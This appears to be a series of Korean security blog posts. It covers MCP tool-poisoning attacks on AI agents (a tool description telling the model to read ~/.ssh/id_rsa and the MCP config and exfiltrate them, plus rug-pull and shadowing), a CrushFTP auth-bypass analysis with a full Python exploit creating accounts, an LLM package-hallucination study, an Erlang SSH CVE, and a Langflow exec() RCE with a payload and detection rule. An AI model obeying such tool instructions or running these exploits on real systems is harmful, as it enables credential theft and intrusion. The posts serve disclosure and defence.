1. 개요

- 모델 컨텍스트 프로토콜(Model Context Protocol, MCP)에서 Tool Poisoning Attack을 가능하게 하는 취약점 발견 [1]

- AI 모델의 민감 데이터 유출 및 무단 행위로 이어질 수 있는 취약점

2. 주요내용

2.1 모델 컨텍스트 프로토콜(Model Context Protocol, MCP)

- AI 모델이 외부 데이터나 도구와 연결될 때 사용하는 표준화된 통신 방식 [2][3][4]

> AI 모델이 특정 작업을 수행하기 위해 필요한 데이터를 외부에서 받아오거나, 외부 도구를 활용할 수 있도록 해주는 역할

특징 설명
개방형 표준
(Open Standard)
오픈소스로 공개되어 있어 누구나 자유롭게 사용하고 개선할 수 있음
> 앤트로픽이 개발하였으나, 어떤 AI 시스템에서도 사용할 수 있음
양방향 연결
(Two-way Connection)
- AI 모델과 데이터 소스 간의 양방향 통신 지원
> MCP에서는 AI 모델과 데이터 소스가 지속적으로 연결된 상태에서 서로 정보를 주고받을 수 있음
※ 기존 API 호출 방식에서는 AI가 데이터를 요청하면 서버가 한 번 응답하고 끝나는 방식
범용성과 표준화
(Universality and Standardization)
- 다양한 데이터 소스와 도구를 하나의 표준 프로토콜로 연결할 수 있게 해줌
> 개발자는 각 데이터 소스마다 별도의 커넥터를 유지할 필요 없이 단일 프로토콜을 통해 연결 가능
보안 및 신뢰성
(Security and Reliability)
- AI 모델과 데이터 소스 간의 안전하고 신뢰할 수 있는 연결을 제공
> 개인 정보 보호와 데이터 무결성을 유지할 수 있음

[사진 1] MCP 구성

구성요소 설명
MCP 호스트 MCP를 통해 데이터에 액세스하려는 Claude 데스크톱, IDE 또는 AI 도구와 같은 프로그램
MCP 클라이언트 서버와 1:1 연결을 유지하는 프로토콜 클라이언트
MCP 서버 표준화된 모델 컨텍스트 프로토콜을 통해 각각 특정 기능을 노출하는 경량 프로그램
로컬 데이터 소스 MCP 서버가 안전하게 액세스할 수 있는 컴퓨터의 파일, 데이터베이스 및 서비스
원격 서비스 MCP 서버가 연결할 수 있는 외부 시스템(예: API 활용)

 

2.2 Tool Poisoning Attack

- MCP 서버에서 제공하는 도구 설명에 악성 지시사항을 삽입

> 사용자는 정상으로 위장한 악성 MCP 도구를 실행

> AI 모델은 도구 설명의 지시사항을 그대로 실행하여 악성 행위를 수행

> Ex. 민감한 파일에 액세스하여 데이터 추출 및 공격자에게 전송하도록 지시할 수 있음

[사진 2] 공격 과정 요약

2.2.1 Direct Poisoning

- 도구 설명에 악성 명령을 포함하여 사용자가 MCP를 사용할 때 해당 명령이 실행되는 방식

> [사진 3]의 add()는 다음과 같은 도구 설명을 포함하며, AI 모델은 이를 수행하여 결과를 반환

① 민감한 구성 파일을 읽음 (~/.cursor/mcp.json)
② SSH 개인 키에 액세스 (~/.ssh/id_rsa)
③ 해당 데이터를 sidenote로 표시해 숨겨진 방식으로 전송
④ 사용자에게 두 숫자를 더하는 수학적 원리를 자세히 설명

[사진 3] 악성 명령을 포함한 MCP 도구 사용 결과

2.2.2 Rug Pull

- MCP 패키지가 최초 사용될 때에는 정상이었으나, 재실행될 때에는 악의적인 기능을 하도록 변경되어 악성 행위 수행

[사진 4] Rug Pull

2.2.3 Tool Shadowing

- 여러 MCP 도구를 사용할 때 정상 도구의 동작을 조작하여 악성 행위를 수행하도록 함

[사진 5] Tool Shadowing

2.3 대응방안

구분 설명
MCP 사용자 관점 - 검증되지 않은 MCP 서버 연결 지양
- MCP 도구 추가/승인 시 설명 및 권한 확인
- AI 에이전트의 의심스러운 활동(파일 접근, 통신 등)이 없는지 확인
MCP 개발자 관점 - Server 개발자
> 도구 설명은 정직하게 작성하고 숨겨진 악성 지침을 포함 금지
> 서버 보안 강화 및 도구 설명 내 악성 코드 삽입 가능성에 대한 대비

- Cliernt 개발자
> AI가 보는 전체 도구 설명을 사용자에게 투명하게 공개 및 위험 경고
> 도구 설명의 변경 여부를 검증 및 무단 변경 차단
> 서버/도구 간 영향을 차단하는 샌드박싱권한 제어 구현 권고

※ invariantlabs는 관련한 스캔 도구 제공 [5]

3. 참고

[1] https://invariantlabs.ai/blog/mcp-security-notification-tool-poisoning-attacks
[2] https://github.com/modelcontextprotocol
[3] https://modelcontextprotocol.io/introduction
[4] https://dytis.tistory.com/112
[5] https://github.com/invariantlabs-ai/mcp-scan
[6] https://blackcon.github.io/posts/MCP-tool-poison-attack/

1. CrushFTP

- 파일 전송 솔루션

2. CVE-2025-31161

[사진 1] CVE-2025-31161 [2]

- CrushFTP의 파라미터 오버로딩으로 인한 인증 우회 취약점 (CVSS: 9.8) [3][4]

영향받는 버전
- CrushFTP 11.0.0 ≤ 11.3.0 / 10.0.0 ≤ 11.8.3

 

- CrushFTP는 버전 10부터 AWS S3와 호환되는 API를 제공

> 클라이언트가 Authorization 헤더를 포함하는 요청을 통해 S3 인증을 진행

> 서버는 AccessKey 값을 추출해 사용자를 식별한 다음 Signature 값을 검증해 인증을 수행

Authorization: AWS4-HMAC-SHA256 Credential=<AccessKey>/<Date>/<Region>/s3/aws4_request, SignedHeaders=<Headers>, Signature=<Signature>

 

- 취약점은 ServerSessionHTTP.java의 loginCheckHeaderAuth() 메서드에서 발생

> 해당 메서드는 사용자가 S3 스타일의 API를 요청했을 때 헤더의 Authorization 헤더를 처리

> 아래 코드에서 lookup_user_pass

① true인 경우 내부 저장소에서 비밀번호를 찾고

② false인 경우 제공된 비밀번호를 사용해야 하는지를 표시하는 값

> 또한 해당 값은 login_user_pass()의 첫 번째 매개변수로 전달

if (this.headerLookup.containsKey("Authorization".toUpperCase()) && 
    this.headerLookup.getProperty("Authorization".toUpperCase()).trim().startsWith("AWS4-HMAC")) {
    
    // Extract the username from credential field
    String s3_username = this.headerLookup.getProperty("Authorization".toUpperCase()).trim();
    String s3_username2 = s3_username.substring(s3_username.indexOf("=") + 1);
    String s3_username3 = s3_username2.substring(0, s3_username2.indexOf("/"));
    
    // Initialize variables
    String user_pass = null;
    String user_name = s3_username3;
    boolean lookup_user_pass = true;  // Default to true - this is crucial!
    
    // Check if username contains a tilde
    if (s3_username3.indexOf("~") >= 0) {
        user_pass = user_name.substring(user_name.indexOf("~") + 1);
        user_name = user_name.substring(0, user_name.indexOf("~"));
        lookup_user_pass = false;
    }
    
    // In version 11.3.0, there's no security check here
    
    // Attempt to authenticate the user
    if (this.thisSession.login_user_pass(lookup_user_pass, false, user_name, lookup_user_pass ? "" : user_pass)) {
        // Authentication succeeds
    }
}

 

- login_user_pass()에서 전달된 lookup_user_pass는 anyPass로 사용됨

> anyPass 값은 verified_user 함수를 호출하는데 인수로 사용

※ 코드 문맥 상 anyPass는 로그인을 시도하는 계정에 대해 서버가 임의의 비밀번호를 받아들여야 하는지 여부를 결정하는 변수로 판단됨 (비밀번호가 아직 설정되지 않았거나, 비밀번호가 필요하지 않은 사용자인 경우 등)

// Inside SessionCrush.java
public boolean login_user_pass(boolean anyPass, boolean doAfterLogin, String user_name, String user_pass) throws Exception {
    // Various validations and logging happen here
    
    if (user_name.length() <= 2000) {
        int length = user_pass.length();
        ServerStatus serverStatus = ServerStatus.thisObj;
        if (length <= ServerStatus.IG("max_password_length") || user_name.startsWith("SSO_OIDC_") /* other conditions */) {
            Log.log("LOGIN", 3, new Exception(String.valueOf(LOC.G("INFO:Logging in with user:")) + user_name));
            uiPUT("last_logged_command", "USER");
            
            // Numerous other checks and validations
            
            // Eventually we call verify_user with the anyPass parameter
            boolean verified = verify_user(user_name, verify_password, anyPass, doAfterLogin);
            
            if (verified && this.user != null) {
                // Authentication success handling
                return true;
            }
        }
    }
    
    return false;
}

 

- verify_user()는 anyPass 매개변수를 사용해 UserTools.ut.verify_user() 호출

// Inside SessionCrush.java
public boolean verify_user(String theUser, String thePass, boolean anyPass, boolean doAfterLogin) {
    // Various user validation and formatting logic
    
    // The anyPass value is passed to the UserTools.ut.verify_user method
    this.user = UserTools.ut.verify_user(ServerStatus.thisObj, theUser2, thePass, 
        uiSG("listen_ip_port"), this, uiIG("user_number"), uiSG("user_ip"), 
        uiIG("user_port"), this.server_item, loginReason, anyPass);
    
    // The critical check: if anyPass is true, we don't consider a null user to be an authentication failure
    if (!anyPass && this.user == null && !theUser2.toLowerCase().equals("anonymous")) {
        this.user_info.put("plugin_user_auth_info", "Password incorrect.");
    }
    
    // Various other checks and return logic
    return this.user != null;
}

 

- UserTools.ut.verify_user()에서 anyPass=True이고, 특정 username인 경우 인증을 우회하여 로그인 가능

// Inside UserTools.java
public Properties verify_user(
    ServerStatus server_status_frame,
    String the_user,
    String the_password,
    String serverGroup,
    SessionCrush thisSession,
    int user_number,
    String user_ip,
    int user_port,
    Properties server_item,
    Properties loginReason,
    boolean anyPass
) {
    // User lookup and validation logic
    Properties user = this.getUser(serverGroup, the_user, true);
    
    // Here's the critical vulnerability:
    // If anyPass is true, password verification is skipped entirely
    if (anyPass && user.getProperty("username").equalsIgnoreCase(the_user)) {
        return user;  // Authentication succeeds without any password check
    }
    
    // Otherwise normal password verification occurs
    if (user.getProperty("username").equalsIgnoreCase(the_user) && 
        check_pass_variants(user.getProperty("password"), the_password, user.getProperty("salt", ""))) {
        return user;
    }
    
    // Authentication fails
    return null;
}

 

- 공격자는 다음과 같은 요청을 통해 인증 우회 가능

① 경로: &c2f={} // 쿠키 헤더값과 동일하게 구성

② Cookie헤더: CrushAuth키 값을 {13자리랜덤숫자}{30자리_랜덤값}{c2f} 구성

③ Authorization 헤더: AWS4-HMAC-SHA256 Credentail={username}/

[사진 2] 과정 요약
[사진 3] 공격 예시

3. PoC [5]

# Copyright (C) 2025 Kev Breen,Ben McCarthy Immersive
# https://github.com/Immersive-Labs-Sec/CVE-2025-31161
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:

# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.

# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
import requests
from argparse import ArgumentParser


def exploit(target_host, port, target_user, new_user, password):
    print("[+] Preparing Payloads")
    
    # First request details
    warm_up_url = f"http://{target_host}:{port}/WebInterface/function/"
    create_user_url = f"http://{target_host}:{port}/WebInterface/function/"


    headers = {
        "Cookie": "currentAuth=31If; CrushAuth=1744110584619_p38s3LvsGAfk4GvVu0vWtsEQEv31If",
        "Authorization": "AWS4-HMAC-SHA256 Credential=crushadmin/",
        "Connection": "close",
    }

    payload = {
        "command": "setUserItem",
        "data_action": "replace",
        "serverGroup": "MainUsers",
        "username": new_user,
        "user": f'<?xml version="1.0" encoding="UTF-8"?><user type="properties"><user_name>{new_user}</user_name><password>{password}</password><extra_vfs type="vector"></extra_vfs><version>1.0</version><root_dir>/</root_dir><userVersion>6</userVersion><max_logins>0</max_logins><site>(SITE_PASS)(SITE_DOT)(SITE_EMAILPASSWORD)(CONNECT)</site><created_by_username>{target_user}</created_by_username><created_by_email></created_by_email><created_time>1744120753370</created_time><password_history></password_history></user>',
        "xmlItem": "user",
        "vfs_items": '<?xml version="1.0" encoding="UTF-8"?><vfs type="vector"></vfs>',
        "permissions": '<?xml version="1.0" encoding="UTF-8"?><VFS type="properties"><item name="/">(read)(view)(resume)</item></VFS>',
        "c2f": "31If"
    }

    # Execute requests sequentially
    print("  [-] Warming up the target")
    # we jsut fire a request and let it time out. 
    try:
        warm_up_request = requests.get(warm_up_url, headers=headers, timeout=20)
        if warm_up_request.status_code == 200:
            print("  [-] Target is up and running")
    except requests.exceptions.ConnectionError:
        print("  [-] Request timed out, continuing with exploit")


    print("[+] Sending Account Create Request")
    create_user_request = requests.post(create_user_url, headers=headers, data=payload)
    if create_user_request.status_code != 200:
        print("  [-] Failed to send request")
        print("  [+] Status code:", create_user_request.status_code)
    if '<response_status>OK</response_status>' in create_user_request.text:
        print("  [!] User created successfully")



if __name__ == "__main__":
    parser = ArgumentParser(description="Exploit CVE-2025-31161 to create a new account")
    parser.add_argument("--target_host", help="Target host")
    parser.add_argument("--port", type=int, help="Target port", default=8080)
    parser.add_argument("--target_user", help="Target user", default="crushadmin")
    parser.add_argument("--new_user", help="New user to create", default="AuthBypassAccount")
    parser.add_argument("--password", help="Password for the new user", default="CorrectHorseBatteryStaple")

    args = parser.parse_args()

    if not args.target_host:
        print("  [-] Target host not specified")
        parser.print_help()
        exit(1)

    exploit(
        target_host=args.target_host,
        port=args.port,
        target_user=args.target_user,
        new_user=args.new_user,
        password=args.password
    )

    print(f"[+] Exploit Complete you can now login with\n   [*] Username: {args.new_user}\n   [*] Password: {args.password}.")

4. 대응방안

- 벤더사 제공 업데이트 적용 [6][7]

> lookup_password 기능 비활성화
> Authorization 헤더 내 Credential 키 값 구성 검증
> 인증 로직 변경

제품명 영향받는 버전 해결 버전
CrushFTP 11.0.0 이상 ~ 11.3.0 이하 11.3.1
10.0.0 이상 ~ 10.8.3 이하 10.8.4

5. 참고

[1] https://www.crushftp.com/index.html
[2] https://nvd.nist.gov/vuln/detail/CVE-2025-31161
[3] https://projectdiscovery.io/blog/crushftp-authentication-bypass
[4] https://attackerkb.com/topics/k0EgiL9Psz/cve-2025-2825/rapid7-analysis
[5] https://github.com/Immersive-Labs-Sec/CVE-2025-31161
[6] https://www.crushftp.com/crush11wiki/Wiki.jsp?page=Update
[7] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=2&categoryCode=&nttId=71705
[8] https://hackyboiz.github.io/2025/04/19/empty/CVE-2025-31161

1. 개요

- LLM 기반 코드 생성 AI의 발전으로 생산성이 높아지는 등 효율성과 편의성이 크게 향상됨

- 그러나 LLM이 실제로 존재하지 않는 패키지에 대한 참조를 포함하거나 추천하는 코드를 생성하는 패키지 환각(Package Hallucination) 문제가 발생

- 공격자는 환각 또는 가상의 패키지와 동일한 이름으로 악성 패키지를 오픈소스 리포지토리에 게시하는 방식으로 공급망 공격을 수행할 수 있음

> 전체 코드베이스 또는 소프트웨어 종속성 체인을 통해 확산되어 해당 패키지에 의존하는 모든 코드를 감염시킬 수 있음

2. 주요내용

2.1 패키지 혼동 공격

- 최신 소프트웨어 개발은 중앙 집중식 패키지 리포지토리(PyPI, npm )에 의존

> 누구나 새로운 코드 패키지/라이브러리를 업로드할 수 있어 멀웨어 배포에 매력적

> 종종 합법적인 패키지를 모방하기 위해 악성 패키지의 이름을 의도적으로 변경

> 패키지/라이브러리는 종종 다른 패키지에 의존하여 작동하기 때문에 광범위한 의존성 트리를 생성

> 단일 패키지를 감염시키는 것만으로도 전체 소프트웨어 또는 에코시스템을 감염시킬 수 있음

 

- LLM이 계속해서 발전된 소스 코드 생성 기능을 입증 (정확도: 21.06 25% -> 24.04 96% 급증)

> 취약성을 유발할 수 있는 안전하지 않거나 잘못된 코드의 생성 가능성에 대한 우려 또한 증가

> LLM이 오해의 소지가 있거나 완전히 허구의 정보를 생성하는 환각은 데이터, 훈련, 추론의 세 가지 주요 근본 원인으로 발생할 수 있음

① 데이터 관련 환각 : 소스 데이터 자체에 잘못된 정보, 편향, 불완전한 기록 등의 결함이 있을 때 발생

② 훈련 관련 환각 : 아키텍처 결함 또는 훈련 중 최적이 아닌 훈련 목표는 다운스트림 환각을 초래할 수 있음

③ 추론 관련 환각 : 불완전한 코딩 전략 및 불완전한 디코딩 표현에 의한 환각

 

- 공격자는 이러한 환각 패키지와 동일한 이름의 악성 패키지를 빠르게 생성해 간단하고 효과적인 패키지 혼동 공격을 수행할 수 있음

> LLM이 생성한 코드를 면밀히 검토하지 않거나 실수 등으로 악성 패키지를 코드베이스에 포함

> 다른 패키지 및 코드의 종속성 체인에 포함될 가능성이 있어 다수의 코드베이스에 연쇄적으로 영향을 끼칠 수 있음

[사진 1] 패키지 환각 공격

2.2 가설ㆍ질문 및 실험 설계

- 가설 : 패키지 혼동 공격을 실행하려는 공격자와 LLM이 제공한 코드를 충분한 검증 없이 실행하는 사용자가 있음

- 다섯 가지 연구 질문(RQ)

① RQ1 : LLM을 사용해 Python JavaScript 코드를 생성할 때, 패키지 환각은 얼마나 자주 발생하는가? (패키지 환각 발생률)

② RQ2 : 패키지 환각은 특정 모델 설정(: 학습 데이터, 디코딩 전략 등)에 따라 어떤 영향을 받는가? (모델 설정의 영향)

③ RQ3 : 패키지 환각과 관련하여 일반적으로 관찰되는 LLM의 동작 특성은 무엇인가? (LLM 동작 특성)

④ RQ4 : 관찰된 패키지 환각에는 어떤 대표적인 특성이나 속성이 있는가? (패키지 환각의 특징)

⑤ RQ5 : 기존 문헌의 모범 사례 및 본 연구 결과를 바탕으로 패키지 환각을 효과적으로 완화할 수 있는가? (완화 전략)

실험 설계
구분 설명
프롬프트 데이터셋 구성 - 목표: 일반적인 사용자들이 일반적으로 요청하는 코딩 작업을 정확하고 포괄적으로 표현하는 데이터 세트를 개발하는 것

① Stack Overflow 데이터 세트
> Python 및 JavaScript의 인기 있는 240개 태그 * 태그 당 20개 질문 * 최신/과거 = 9,600개 프롬프트

② LLM에서 생성된 데이터 세트
> PyPI와 npm의 인기 패키지 설명을 기반으로 Llama-2 70B 모델에 해당 패키지를 사용하는 코드 생성을 요청 (4,800개 프롬프트 생성)
> 4,800 * 최신/과거 = 9,600개 프롬프트

Python, JavaScript 각 19,200개
코드 생성 모델 선택 - 모델 선택 : 24.01.20 EvalPlus 리더보드를 기준으로 높은 순위의 모델 16개 선택
> 상용 모델 : ChatGPT 3.5 Turbo, ChatGPT 4.0, ChatGPT 4.0 Turbo
> 무료 모델 : CodeLlama, DeepSeek, Magicoder 등 13개

- 언어 선택 : Python, JavaScript
> 대중성 및 중앙 집중식 오픈 소스 리포지토리에 의존하기 때문

- 총 코드 샘플 수 576,000개
휴리스틱 - LLM 출력 또는 생성된 코드에서 환각의 존재 유무를 판별을 위해 패키지 이름 추출 필요
> 단순히 import, require를 파싱 하는 것만으로는 패키지를 정확히 식별하는 것이 불가능하기 때문
> 코드에서 패키지 이름을 추론하기 위한 세 가지 휴리스틱 적용

① 휴리스틱 1 : 설치 명령어 기반 탐지
- 생성된 Python 및 JavaScript 코드에서 "pip install" 및 "npm install" 명령 파싱 및 패키지 이름 추출
> 해당 명령은 지정된 패키지를 찾고, 의존성을 해결하고 현재 환경에 설치함
> 패키지 이름을 탐지하는 가장 직접적인 방법이며, 환각 탐지에도 유효함(악성코드를 설치하기 때문)
> 모델에게 이러한 명령을 직접 요청하지 않고, 자연스럽게 생성된 경우만 포함

② 휴리스틱 2 : 코드 기반 질의
- 생성된 코드를 실행하는데 필요한 패키지를 모델에 질의
> 사용자가 LLM으로 코드를 생성한 후 실행 과정에서 발생한 오류를 다시 묻는 행동을 모방한 것
> 직관적인 프로세스를 재현하여 생성된 코드에 필요한 패키지 이름을 식별

③ 휴리스틱 3 : 프롬프트 기반 질의
- 코드를 생성했던 원래 프롬프트를 다시 모델에 입력해 작업을 수행하는데 필요한 패키지 질의
> 필요한 패키지가 명시적으로 언급되지 않은 경우 사용자가 패키지를 다시 묻는 행동을 모방한 것

※ 휴리스틱 (Heuristic) : 정확한 정답이나 완벽한 규칙이 없을 때, 경험과 직관에 기반해 문제를 실용적으로 해결하는 방법

2.3 결과

구분 설명
RQ1 : 패키지 환각 발생률 - 16개 모델 모두에서 패키지 환각이 만연한 현상인 것으로 나타남
> 총 223만 개의 패키지 중 440,445(19.7%)가 환각으로 판정
> 205,474개의 고유한 환각

- 평가
> GPT-4 Turbo 환각률 최저(3.59%), DeepSeek 1B 환각률 최고(13.63%)
> 상용 모델 평균 환각률 5.2%, 무료 모델 평균 환각률 21.7%
> Python 환각률 15.8%, JavaScript 환각률 21.3%
RQ2 : 모델 설정의 영향 - 설정된 온도가 높을수록 환각률이 뚜렷하게 증가
- 디코딩 전략은(Top-k, Top-p, Min-p) 뚜렷한 차이 없음
- 최근 주제를 다루는 프롬프트일수록 환각률이 10% 높음
RQ3 : LLM 동작 특성 - 동일 프롬프트를 10번 반복 결과
> 43%는 10번 모두 환각을 재현하였으며, 39%는 10번 모두 환각을 재현하지 않음
> 58%는 최소 한 번 이상 동일 환각 반복 - 반복 가능성을 의미하여 공격자에게 매력적

- 패키지 추천이 많은 모델일수록 높은 환각률
- GPT 4 Turbo, GPT 3.5, DeepSeek는 75% 이상의 정확도로 환각 식별 가능
RQ4 : 패키지 환각의 특징 - 81%의 환각 패키지가 한 모델에서만 생성됨
> 대부분의 환각 패키지는 모델마다 고유하게 생성

- 대부분의 환각이 사소한 오타가 아니라 기존 패키지와 큰 차이를 보임
- 삭제된 패키지는 환각에 영향을 끼치지 않으며, JavaScript가 가장큰 영향
RQ5 : 완화 전략 - RAG(Retrieval-Augmented Generation)
> LLM의 출력을 최적화하여 응답을 생성하기 전에 학습 데이터 소스 외부의 신뢰할 수 있는 지식 베이스를 참조하도록 하는 프로세스


- Self-Refinement
> 패키지 이름을 생성한 후 해당 패키지의 유효성을 다시 쿼리하여 유효성 검증을 최대 5회까지 반복할 수 있음

- Fine-tuning
> 이미 훈련된 대규모 언어 모델에 특정 데이터셋을 사용하여 추가적인 학습을 수행하는 작업
> 모든 환각을 제외하고 유효한 응답을 사용해 모델 재훈련

※ 모든 전략을 조합한 경우
- DeepSeek는 2.4%, CodeLlama는 9.3%까지 환각률 감소
- Fine-tuning의 경우 코드 품질 저하 단점 존재
- RAG와 Self-Refinement는 비교적 실용적인 대안

3. 참고

[1] https://socket.dev/blog/slopsquatting-how-ai-hallucinations-are-fueling-a-new-class-of-supply-chain-attacks

[2] https://www.infosecurity-magazine.com/news/ai-hallucinations-slopsquatting/

[3] https://www.boannews.com/media/view.asp?idx=136863&page=2&kind=1

1. Erlang/OTP SSH

- Erlang: 고가용성을 요구하는 대규모 확장 가능한 소프트 실시간 시스템을 구축하는 데 사용되는 프로그래밍 언어

- OTP(Open Telecom Platform): 이러한 시스템을 개발하는 데 필요한 미들웨어를 제공하는 Erlang 라이브러리와 설계 원칙의 집합 [1]

- Erlang/OTP SSH: Erlang 시스템에서 SSH(Secure Shell) 기능을 구현한 라이브러리 [2]

2. CVE-2025-32433

[사진 1] CVE-2025-32433 [3]

- Erlang/OTP SSH 라이브러리를 기반으로 하는 SSH 서버의 SSH 프로토콜 메시지 처리의 결함으로 인한 원격 코드 실행 취약점 (CVSS: 10.0)

> 악용에 성공할 경우 공격자는 인증 과정 없이 임의의 명령을 실행할 수 있음

> SSH 데몬이 루트로 실행 중인 경우 전체 액세스 권한을 가지게 됨

영향받는 버전
Erlang/OTP
- OTP-27.3.2 이하 버전
- OTP-26.2.5.10 이하 버전
- OTP-25.3.2.19 이하 버전

 

- RFC 4252: The Secure Shell (SSH) Authentication Protocol [4]

> 인증 프로토콜에서 사용되는 모든 SSH Message Numbers는 50 ~ 79 사이

> SSH Message Numbers80 이상인 경우 인증 프로토콜 이후 실행되는 프로토콜, 즉 인증 완료 후 과정을 위해 예약되어 있음

> 따라서, 인증이 완료되기 전 SSH Message Numbers가 80 이상인 경우 서버는 즉시 연결을 해제하여야 함

[사진 2] RFC 4252 : 6. uthentication Protocol Message Numbers

- 그러나 취약한 버전의 Erlang/OTP에서는 SSH 서버가 이 규칙을 적용하지 않음

> 공격자들이 인증되지 않은 단계에서 조작된 메시지를 주입할 수 있게 되어 무단으로 코드가 실행가능 [5]

3. 대응방안

- 벤더사 제공 최신 업데이트 적용 [6][7][8]

> 인증 여부를 handle_msg() 함수를 통해 검증하며, 실패 시 연결 거부

제품명 영향받는 버전 해결 버전
Erlang/OTP <= OTP-27.3.2 OTP-27.3.3
<= OTP-26.2.5.10 OTP-26.2.5.11
<= OTP-25.3.2.19 OTP-25.3.2.20

 

- 업데이트가 불가한 경우

> SSH 포트에 대한 액세스를 신뢰할 수 있는 IP만 허용 및 신뢰할 수 없는 IP의 접근 차단

> Erlang/OTP 기반 SSH가 불필요한 경우 서비스 비활성화

4. 참고

[1] https://www.erlang.org/
[2] https://www.erlang.org/doc/apps/ssh/ssh.html
[3] https://nvd.nist.gov/vuln/detail/CVE-2025-32433
[4] https://www.rfc-editor.org/rfc/rfc4252.html#section-6
[5] https://www.upwind.io/feed/cve-2025-32433-critical-erlang-otp-ssh-vulnerability-cvss-10#toc-section-2
[6] https://www.openwall.com/lists/oss-security/2025/04/16/2
[7] https://github.com/erlang/otp/security/advisories/GHSA-37cp-fgq5-7wc2
[8] https://github.com/erlang/otp/commit/0fcd9c56524b28615e8ece65fc0c3f66ef6e4c12
[9] https://thehackernews.com/2025/04/critical-erlangotp-ssh-vulnerability.html
[10] https://news.ycombinator.com/item?id=43716526

1. Langflow

- 대규모 언어 모델(LLM)과 다양한 데이터 소스를 활용하여 AI 애플리케이션을 시각적으로 설계하고 구축할 수 있는 low-code 플랫폼 [1][2]

- Python 기반으로 개발되었으며, 특정 모델, API, 데이터베이스에 구애받지 않고 유연하게 사용 가능

2. CVE-2025-3248

[사진 1] CVE-2025-3248 [3]

- /api/v1/validate/code에서 발생하는 임의 코드 실행 취약점 (CVSS : 9.8)

영향받는 버전
Langflow 1.3.0 미만 버전

 

- /api/v1/validate/code : LLM이 생성한 코드의 유효성을 검증하는 API

> 해당 API를 누구나 호출 가능

> validate_code()를 내부적으로 호출 [4]

async def post_validate_code(code: Code) -> CodeValidationResponse:
    try:
        errors = validate_code(code.code)
        return CodeValidationResponse(
            imports=errors.get("imports", {}),
            function=errors.get("function", {}),
        )
    except Exception as e:
        logger.opt(exception=True).debug("Error validating code")
        raise HTTPException(status_code=500, detail=str(e)) from e

 

- validate_code()는 파이썬 코드의 문법을 검증하고 exec()를 통해 해당 코드를 실행 [5][6]

> 파이썬 코드에 import문과 함수 선언문이 있는지 확인

> import문이 있는 경우 해당 모듈을 로드하고, 함수가 있는 경우 exec()를 통해 해당 코드 실행 [7][8]

def validate_code(code):
    # Initialize the errors dictionary
    errors = {"imports": {"errors": []}, "function": {"errors": []}}

    # Parse the code string into an abstract syntax tree (AST)
    try:
        tree = ast.parse(code)
    except Exception as e:  # noqa: BLE001
        if hasattr(logger, "opt"):
            logger.opt(exception=True).debug("Error parsing code")
        else:
            logger.debug("Error parsing code")
        errors["function"]["errors"].append(str(e))
        return errors

    # Add a dummy type_ignores field to the AST
    add_type_ignores()
    tree.type_ignores = []

    # Evaluate the import statements
    for node in tree.body:
        if isinstance(node, ast.Import):
            for alias in node.names:
                try:
                    importlib.import_module(alias.name)
                except ModuleNotFoundError as e:
                    errors["imports"]["errors"].append(str(e))

    # Evaluate the function definition
    for node in tree.body:
        if isinstance(node, ast.FunctionDef):
            code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
            try:
                exec(code_obj)
            except Exception as e:  # noqa: BLE001
                logger.opt(exception=True).debug("Error executing function code")
                errors["function"]["errors"].append(str(e))

    # Return the errors dictionary
    return errors

 

2.1 PoC

- 공개된 Scanner에서는 /api/v1/validate/code URLimport문과 def문이 포함된 파이썬 코드를 POST 메소드로 전송 [9]

...
def check_vulnerability(self):
        """Check if target is vulnerable to Langflow vulnerability"""
        try:
            validate_url = urljoin(self.url, '/api/v1/validate/code')
            # 使用exec函数执行代码
            payload = {
                "code": """
def test(cd=exec('raise Exception(__import__("subprocess").check_output("whoami", shell=True))')):
    pass
"""
            }
            
            print(f"{Fore.YELLOW}[*] Testing endpoint: {validate_url}")
            response = self.session.post(
                validate_url, 
                json=payload, 
                timeout=self.timeout
            )
            
            print(f"{Fore.YELLOW}[*] Response status: {response.status_code}")
            print(f"{Fore.YELLOW}[*] Response headers: {dict(response.headers)}")
            print(f"{Fore.YELLOW}[*] Response body: {response.text}")
...

3. 대응방안

- 벤더사 제공 업데이트 적용 [10][11]

> 현재 사용자만 API를 이용 가능하도록 패치 적용

제품명 영향받는 버전 해결 버전
Langflow 1.3.0 미만 1.3.0

 

- 탐지 룰 적용

alert tcp any any -> any any (msg:"CVE-2025-3248"; flow:to_server,established; content:"POST"; http_method; content:"/api/v1/validate/code"; http_uri; content:"def"; http_client_body; content:"import"; http_client_body;)

4. 참고

[1] https://www.langflow.org/
[2] https://wikidocs.net/267515
[3] https://nvd.nist.gov/vuln/detail/CVE-2025-3248
[4] https://github.com/langflow-ai/langflow/blob/dc35b4ec9ed058b980c89065484fdbfc1fd4cc9b/src/backend/base/langflow/api/v1/validate.py#L16
[5] https://github.com/langflow-ai/langflow/blob/dc35b4ec9ed058b980c89065484fdbfc1fd4cc9b/src/backend/base/langflow/utils/validate.py#L24
[6] https://github.com/langflow-ai/langflow/blob/dc35b4ec9ed058b980c89065484fdbfc1fd4cc9b/src/backend/base/langflow/utils/validate.py#L57
[7] https://github.com/langflow-ai/langflow/blob/dc35b4ec9ed058b980c89065484fdbfc1fd4cc9b/src/backend/base/langflow/utils/validate.py#L44
[8] https://github.com/langflow-ai/langflow/blob/dc35b4ec9ed058b980c89065484fdbfc1fd4cc9b/src/backend/base/langflow/utils/validate.py#L53
[9] https://github.com/xuemian168/CVE-2025-3248
[10] https://github.com/langflow-ai/langflow/pull/6911/commits/dbae45f5717b9bf0f3096fce7399851aba27e658
